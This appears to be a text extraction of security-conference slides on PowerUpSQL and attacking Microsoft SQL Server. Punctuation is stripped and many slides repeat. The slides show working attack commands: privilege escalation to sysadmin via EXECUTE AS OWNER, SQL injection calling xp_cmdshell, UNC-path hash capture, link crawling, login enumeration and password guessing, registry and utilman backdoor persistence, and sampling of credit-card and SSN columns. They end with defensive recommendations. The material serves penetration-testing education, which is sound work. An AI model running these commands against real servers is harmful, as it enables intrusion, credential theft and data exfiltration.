USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins
Attack Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Get-SQLServerLoginDefaultPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Testing Login Access PowerUpSQL CMDs
Testing Login Access Login CMD Examples
Attacker Perspective
Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
AlternativeDomain User
runas noprofile netonly userdomainuser PowerShellexe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Testing Login Access Reusing Result Lists
Process Command Example
Enumerate Accessible Servers
$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command No
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
